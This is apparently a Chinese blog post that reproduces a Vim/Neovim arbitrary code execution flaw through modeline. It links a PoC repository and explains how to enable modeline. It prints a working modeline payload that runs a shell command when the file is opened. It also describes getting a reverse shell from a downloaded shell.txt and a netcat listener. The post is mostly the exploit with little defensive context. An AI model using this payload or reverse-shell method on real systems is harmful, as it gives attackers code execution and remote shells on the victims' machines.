文本编辑器Vim/Neovim任意代码执行漏洞复现

听闻很多人知道这个漏洞,但是有一部分人能复现成功,一部分人复现不出来。这里我就我自己的复现经历给大家演示一下。

Poc地址:

git clone https://github.com/numirias/security.git

一、复现

1、首先VIM需要开启set modeline(必须开启,该漏洞需要依赖modeline)

复制vimrc配置文件到root根目录,vim首先会调用~/.vimrc这个配置文件

cp /usr/share/vim/vimrc ~/.vimrc

修改~/.vimrc 增加set modeline


2、复现代码执行

桌面新建立一个poc.txt放入以下代码,并用vim执行。

Poc.txt代码:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

效果图:

成功执行


3、复现反弹shell脚本

服务器开启本地开启监听:

Nc -lvvp 7777

点击下载:shell.txt

使用该文件修改才可以复现成功,下载shell.txt文件,修改IP跟端口为服务器地址。

并用vim执行:

Vim shell.txt 显示如下:

服务器得到shell

发表评论

电子邮件地址不会被公开。 必填项已用*标注